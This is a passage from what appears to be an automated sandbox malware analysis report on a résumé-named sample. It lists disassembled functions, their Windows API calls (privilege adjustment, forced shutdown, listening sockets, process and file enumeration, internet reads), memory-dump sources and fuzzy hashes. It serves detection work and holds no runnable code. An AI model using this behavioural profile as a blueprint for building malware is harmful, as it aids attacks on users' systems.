                                                                          • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 005EC235
                                                                          • _memset.LIBCMT ref: 005EC242
                                                                          • _memset.LIBCMT ref: 005EC360
                                                                          • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000001), ref: 005EC38C
                                                                          • CoTaskMemFree.OLE32(?), ref: 005EC397
                                                                          Strings
                                                                          • NULL Pointer assignment, xrefs: 005EC3E5
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
                                                                          • String ID: NULL Pointer assignment
                                                                          • API String ID: 1300414916-2785691316
                                                                          • Opcode ID: ac35723685f800241aebee05a96cff88f4cd085251dc34327d2df3f0fc80a49b
                                                                          • Instruction ID: 497ee563d924a37a18fd54c332c9f83b147886a3163abf9e4f8d426b782e26f7
                                                                          • Opcode Fuzzy Hash: ac35723685f800241aebee05a96cff88f4cd085251dc34327d2df3f0fc80a49b
                                                                          • Instruction Fuzzy Hash: 76912671D00219ABDF14DF95D895EDEBFB9FF48310F10811AE515A7281EB709A46CBA0
                                                                          Function 005D79D3 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58shutdownCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005CB134: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 005CB180
                                                                            • Part of subcall function 005CB134: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 005CB1AD
                                                                            • Part of subcall function 005CB134: GetLastError.KERNEL32 ref: 005CB1BA
                                                                          • ExitWindowsEx.USER32(?,00000000), ref: 005D7A0F
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                                                          • String ID: $@$SeShutdownPrivilege
                                                                          • API String ID: 2234035333-194228
                                                                          • Opcode ID: 09f683d7f81027c18697e920f30bafaf30b255d4a51658c250e701440c770fb3
                                                                          • Instruction ID: defdfff50c99d7cfb120fe1cccb3aae313081b526c2cda2d06f42103f1c43fc4
                                                                          • Opcode Fuzzy Hash: 09f683d7f81027c18697e920f30bafaf30b255d4a51658c250e701440c770fb3
                                                                          • Instruction Fuzzy Hash: DA01D47165922A6AF73826AC8C5ABBE7F58FB08344F145927FD13A22C2F5605E0081A0
                                                                          Function 005E8C4F Relevance: 9.1, APIs: 6, Instructions: 83networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 005E8CA8
                                                                          • WSAGetLastError.WSOCK32(00000000), ref: 005E8CB7
                                                                          • bind.WSOCK32(00000000,?,00000010), ref: 005E8CD3
                                                                          • listen.WSOCK32(00000000,00000005), ref: 005E8CE2
                                                                          • WSAGetLastError.WSOCK32(00000000), ref: 005E8CFC
                                                                          • closesocket.WSOCK32(00000000,00000000), ref: 005E8D10
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorLast$bindclosesocketlistensocket
                                                                          • String ID:
                                                                          • API String ID: 1279440585-0
                                                                          • Opcode ID: 722af2822261cde353eca0f462f54c5ce0aa51a58be37f27435aff50207e1fca
                                                                          • Instruction ID: 6b407f2ec6957060fdea249f642b7edc4623e5178e9282af99751b4f7c86fdf9
                                                                          • Opcode Fuzzy Hash: 722af2822261cde353eca0f462f54c5ce0aa51a58be37f27435aff50207e1fca
                                                                          • Instruction Fuzzy Hash: 7D21A531600601AFCB14AF68CD49B7E7BA9FF45310F148559F95AA73D2CB30AD41CB51
                                                                          Function 005D6532 Relevance: 9.1, APIs: 6, Instructions: 71processCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 005D6554
                                                                          • Process32FirstW.KERNEL32(00000000,0000022C), ref: 005D6564
                                                                          • Process32NextW.KERNEL32(00000000,0000022C), ref: 005D6583
                                                                          • __wsplitpath.LIBCMT ref: 005D65A7
                                                                          • _wcscat.LIBCMT ref: 005D65BA
                                                                          • CloseHandle.KERNEL32(00000000,?,00000000), ref: 005D65F9
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath_wcscat
                                                                          • String ID:
                                                                          • API String ID: 1605983538-0
                                                                          • Opcode ID: 1acf9dd1cbcc6c03ed564af6c93a798cc5348d9ce2b1c0a7f863888ea9807642
                                                                          • Instruction ID: dbfcd8ee787f4dd34ccd70e9570c6c5b4f6c30eaff194a4692ec0b1c1c2ff18a
                                                                          • Opcode Fuzzy Hash: 1acf9dd1cbcc6c03ed564af6c93a798cc5348d9ce2b1c0a7f863888ea9807642
                                                                          • Instruction Fuzzy Hash: 0B216571900219ABDB21ABA4DC89BEEBBBDBB49300F5044E7E505D7241E7719F85CB60
                                                                          Function 00599B60 Relevance: 8.6, Strings: 6, Instructions: 1055COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: ERCP$VUUU$VUUU$VUUU$VUUU$c
                                                                          • API String ID: 0-1265228667
                                                                          • Opcode ID: c5df151a0340cfc0064a060b827ac9fd1dbf84b316baee3b89c0f6125cf0043b
                                                                          • Instruction ID: 9312b2825a940d100504fe658bc32350d73d1827ba89f2bdd28859f9516b92ed
                                                                          • Opcode Fuzzy Hash: c5df151a0340cfc0064a060b827ac9fd1dbf84b316baee3b89c0f6125cf0043b
                                                                          • Instruction Fuzzy Hash: 92926B75E0021ACBDF24CF58C8847EDBBB2BB54314F18859AE816AB380D7759DC1DBA1
                                                                          Function 005D13CA Relevance: 8.1, APIs: 1, Strings: 4, Instructions: 560stringCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • lstrlenW.KERNEL32(?,?,?,00000000), ref: 005D13DC
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: lstrlen
                                                                          • String ID: ($,2d$<2d$|
                                                                          • API String ID: 1659193697-2297539669
                                                                          • Opcode ID: b22faf678d5a770fdfbcd8484e878af7e1b503d8305704b80255817ffed846d3
                                                                          • Instruction ID: c2b61bd3afce8ea2a3af7babe0dd6009f9393f203d24f76cbd47b8ea79d30dc5
                                                                          • Opcode Fuzzy Hash: b22faf678d5a770fdfbcd8484e878af7e1b503d8305704b80255817ffed846d3
                                                                          • Instruction Fuzzy Hash: FE322775A00B05AFCB28CF69D49096ABBF0FF48310B15C56EE59ADB3A1D770E981CB44
                                                                          Function 005E923B Relevance: 7.6, APIs: 5, Instructions: 146networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005EA82C: inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 005EA84E
                                                                          • socket.WSOCK32(00000002,00000002,00000011,?,?,?,00000000), ref: 005E9296
                                                                          • WSAGetLastError.WSOCK32(00000000,00000000), ref: 005E92B9
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorLastinet_addrsocket
                                                                          • String ID:
                                                                          • API String ID: 4170576061-0
                                                                          • Opcode ID: aaaf5cf5e3d8c8347288e84f1f1e85b96cf9e9d18275de7e2858dc5f7fc77d2a
                                                                          • Instruction ID: fdd343da028852bb042e8cbd09a7b79edbac27b7cdc78f2a72662f5b5a9187b1
                                                                          • Opcode Fuzzy Hash: aaaf5cf5e3d8c8347288e84f1f1e85b96cf9e9d18275de7e2858dc5f7fc77d2a
                                                                          • Instruction Fuzzy Hash: 4541C270600505AFDB14AF68C84AE7E7BEDFF84724F048849F956AB3C2DB749D018BA1
                                                                          Function 005DEB60 Relevance: 7.6, APIs: 5, Instructions: 125fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • FindFirstFileW.KERNEL32(?,?), ref: 005DEB8A
                                                                          • _wcscmp.LIBCMT ref: 005DEBBA
                                                                          • _wcscmp.LIBCMT ref: 005DEBCF
                                                                          • FindNextFileW.KERNEL32(00000000,?), ref: 005DEBE0
                                                                          • FindClose.KERNEL32(00000000,00000001,00000000), ref: 005DEC0E
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Find$File_wcscmp$CloseFirstNext
                                                                          • String ID:
                                                                          • API String ID: 2387731787-0
                                                                          • Opcode ID: dc9c661cab5f386809756450f3775b000b9a6626c3d3bfcab70ae3dee07cc566
                                                                          • Instruction ID: 053bef4c8583ce55b3f1e95f232b1de6d0371b2bb1ceacf2e2c2532066e81357
                                                                          • Opcode Fuzzy Hash: dc9c661cab5f386809756450f3775b000b9a6626c3d3bfcab70ae3dee07cc566
                                                                          • Instruction Fuzzy Hash: F0419E356006029FCB18EF28C496A99BBE5BF89324F10455EE95A8B3A1DB31BD44CB51
                                                                          Function 005F8111 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                                          • String ID:
                                                                          • API String ID: 292994002-0
                                                                          • Opcode ID: d7ed343940811e397676cc81a937a1e000f2f6ad18da4291dba685d920b9cfa2
                                                                          • Instruction ID: f1321daedf8391695266c2587be8a5ccec94f9315e8f4f5262036fad1dd15b8c
                                                                          • Opcode Fuzzy Hash: d7ed343940811e397676cc81a937a1e000f2f6ad18da4291dba685d920b9cfa2
                                                                          • Instruction Fuzzy Hash: 80118E317002196BEB216F269C48E7E7F9ABF84760F08452AE949D7241CF389902C6A0
                                                                          Function 005AE01E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryA.KERNEL32(kernel32.dll,?,005AE014,75570AE0,005ADEF1,0062DC38,?,?), ref: 005AE02C
                                                                          • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 005AE03E
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AddressLibraryLoadProc
                                                                          • String ID: GetNativeSystemInfo$kernel32.dll
                                                                          • API String ID: 2574300362-192647395
                                                                          • Opcode ID: c9b91ed80c8cd464f74185252a2d2431cf7984403be6cc15c671bc6886871949
                                                                          • Instruction ID: 54486d5f92a915eb2bb637503915cb1fd4f6e99b2a13a05c464ba3a89853bec6
                                                                          • Opcode Fuzzy Hash: c9b91ed80c8cd464f74185252a2d2431cf7984403be6cc15c671bc6886871949
                                                                          • Instruction Fuzzy Hash: F3D0A770400723AFC7314F60EC0E6967ED6BB01300F2D841AF481D2150DBB4C8808650
                                                                          Function 005A3B70 Relevance: 5.9, Strings: 4, Instructions: 903COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Exception@8Throwstd::exception::exception
                                                                          • String ID: @$ e$ e$ e
                                                                          • API String ID: 3728558374-305843396
                                                                          • Opcode ID: 802b29cdbf707055f8baa6c9a5434258afab54d10100924b66a085f3f6df75af
                                                                          • Instruction ID: 0ee3f386d4ba22a22bfbfd9283af9353777fa6d3e193037ecb92991673fadeb2
                                                                          • Opcode Fuzzy Hash: 802b29cdbf707055f8baa6c9a5434258afab54d10100924b66a085f3f6df75af
                                                                          • Instruction Fuzzy Hash: FA72AD74E0420A9FCF14DF94C485AAEBFB6FF8A304F14805AF905AB291D774AE45CB91
                                                                          Function 005AB11F Relevance: 4.9, APIs: 3, Instructions: 377COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AB34E: GetWindowLongW.USER32(?,000000EB), ref: 005AB35F
                                                                          • DefDlgProcW.USER32(?,?,?,?,?), ref: 005AB22F
                                                                            • Part of subcall function 005AB55D: DefDlgProcW.USER32(?,00000020,?,00000000), ref: 005AB5A5
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Proc$LongWindow
                                                                          • String ID:
                                                                          • API String ID: 2749884682-0
                                                                          • Opcode ID: 3c491e8e0fcca0c9efe778616d2cd1c5dd919fb761f08db0ed23475568f90695
                                                                          • Instruction ID: 259b63eaf9174d377256cdc3c63bf5d1e2dabf2385e8b344bc5bfdb248c442fa
                                                                          • Opcode Fuzzy Hash: 3c491e8e0fcca0c9efe778616d2cd1c5dd919fb761f08db0ed23475568f90695
                                                                          • Instruction Fuzzy Hash: F9A1F678114116BAFB286A295C49FBF2D5EFF87340F14491BF601D65D3DB269C0192B2
                                                                          Function 005E4EB5 Relevance: 4.7, APIs: 3, Instructions: 155networkfileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,005E43BF,00000000), ref: 005E4FA6
                                                                          • InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 005E4FD2
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Internet$AvailableDataFileQueryRead
                                                                          • String ID:
                                                                          • API String ID: 599397726-0
                                                                          • Opcode ID: 4cb878cd8357d07e817ecf013f06352fb3a15d20727c472d635e34ca0445e160
                                                                          • Instruction ID: 4c44667d5dcdec71989e4850430c36dcffc085f4e341504c0fff2e20e6ea309e
                                                                          • Opcode Fuzzy Hash: 4cb878cd8357d07e817ecf013f06352fb3a15d20727c472d635e34ca0445e160
                                                                          • Instruction Fuzzy Hash: 1F410B71504245BFEB24CF82CC89EBF7BBDFB80718F10405AF24566181E6719E419A90
                                                                          Function 005977B0 Relevance: 4.6, APIs: 1, Strings: 1, Instructions: 1076COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: _memmove
                                                                          • String ID: \Qd
                                                                          • API String ID: 4104443479-1939392402
                                                                          • Opcode ID: 587aa68f519d67d5207e93c4ee723230da679b445a0150ba6b008a3d87e4b7b7
                                                                          • Instruction ID: 6618fa538eb57290d4b3e55817d13b8d74003d618a66b5cfc7f2bc3b6ca24f39
                                                                          • Opcode Fuzzy Hash: 587aa68f519d67d5207e93c4ee723230da679b445a0150ba6b008a3d87e4b7b7
                                                                          • Instruction Fuzzy Hash: 4BA25A74A14219CFDF24CF58C8806EDBBB2FF49310F2581AAD859AB391D7349E81CB90
                                                                          Function 005DE1FD Relevance: 4.6, APIs: 3, Instructions: 72COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetErrorMode.KERNEL32(00000001), ref: 005DE20D
                                                                          • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 005DE267
                                                                          • SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 005DE2B4
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorMode$DiskFreeSpace
                                                                          • String ID:
                                                                          • API String ID: 1682464887-0
                                                                          • Opcode ID: ae498e3d9382b8d50b1a3ed494dda04b6412b108921221321d92b9218482f228
                                                                          • Instruction ID: b14845a4793f81e232f49cd59a9ef9253c1ad78a23f1ca83a5d365b62b3bc45a
                                                                          • Opcode Fuzzy Hash: ae498e3d9382b8d50b1a3ed494dda04b6412b108921221321d92b9218482f228
                                                                          • Instruction Fuzzy Hash: 1B213D35A00119EFCB00EFA9D895AEDBFB9FF89314F0484AAE905EB351DB319905CB50
                                                                          Function 005CB134 Relevance: 4.6, APIs: 3, Instructions: 67COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AF4EA: std::exception::exception.LIBCMT ref: 005AF51E
                                                                            • Part of subcall function 005AF4EA: __CxxThrowException@8.LIBCMT ref: 005AF533
                                                                          • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 005CB180
                                                                          • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 005CB1AD
                                                                          • GetLastError.KERNEL32 ref: 005CB1BA
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
                                                                          • String ID:
                                                                          • API String ID: 1922334811-0
                                                                          • Opcode ID: d3558aaaf3de43705c88f298d83a9722f586bf521d89d40a15950c186d6553a7
                                                                          • Instruction ID: 0010509c6040b874ca0945510585a08aad7b4efcac3fff69615003ca9a234750
                                                                          • Opcode Fuzzy Hash: d3558aaaf3de43705c88f298d83a9722f586bf521d89d40a15950c186d6553a7
